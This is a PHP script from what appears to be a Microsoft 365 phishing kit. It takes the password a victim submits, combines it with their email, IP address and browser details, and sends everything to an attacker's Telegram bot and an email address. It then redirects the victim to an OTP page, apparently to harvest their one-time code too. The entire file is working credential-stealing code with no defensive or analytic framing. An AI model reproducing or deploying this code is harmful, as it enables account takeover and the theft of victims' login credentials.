<?php
session_start();
error_reporting(0);
# Adding Settings
include(dirname(__DIR__) . '/session/function.php');
include(dirname(__DIR__) . '/config.php');
# User Agent 

$useragent = $_SERVER['HTTP_USER_AGENT'];
// Define commonly used environment details
$IP = $_SERVER['REMOTE_ADDR'];
$date = date('d/m/Y h:i:s a');
$os = $_SERVER['HTTP_USER_AGENT'];
##

// Store password in session for later consolidation
$_SESSION['password'] = $_POST['password'] ?? '';

$msgtg = "BY : https://t.me/Blinkz455\n\n\n❤️== COMPLETE Microsoft 365 LOGIN [".$IP."] ==❤️\n\n\n*👤Username * : ".$_SESSION["email"]."\n\n*👤Password * : ".$_POST["password"]."\n\n\n=========[ DEVICE INFO ]=========

IP : 
http://www.geoiptool.com/?IP=".$IP."

Date : ".date('H:i:s d/m/Y')."

USER AGENT : ".$_SERVER['HTTP_USER_AGENT']."

OS / BR : ".getOS($_SERVER['HTTP_USER_AGENT'])."
";

if ($settings['telegram'] == "1"){
  $data = $msgtg;
  $send = ['chat_id'=>$settings['chat_id'],'text'=>$data];
  $website = "https://api.telegram.org/bot{$settings['bot_url']}";
  $ch = curl_init($website . '/sendMessage');
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  $result = curl_exec($ch);
  curl_close($ch);
}

# Send Mail

if ($settings['send_mail'] == "1"){
    $to = $settings['email'];
    $headers = "Content-type:text/plain;charset=UTF-8\r\n";
    $headers .= "From: Holaide <olaideadebowale241@may.com\r\n";
    $subject = "✦ OFFICE 365 LOGIN FROM ✦ {$IP} ✦";
    $msg = $msgtg;
    mail($to, $subject, $msg, $headers);
  }

header('Location: ./otp.php');
?>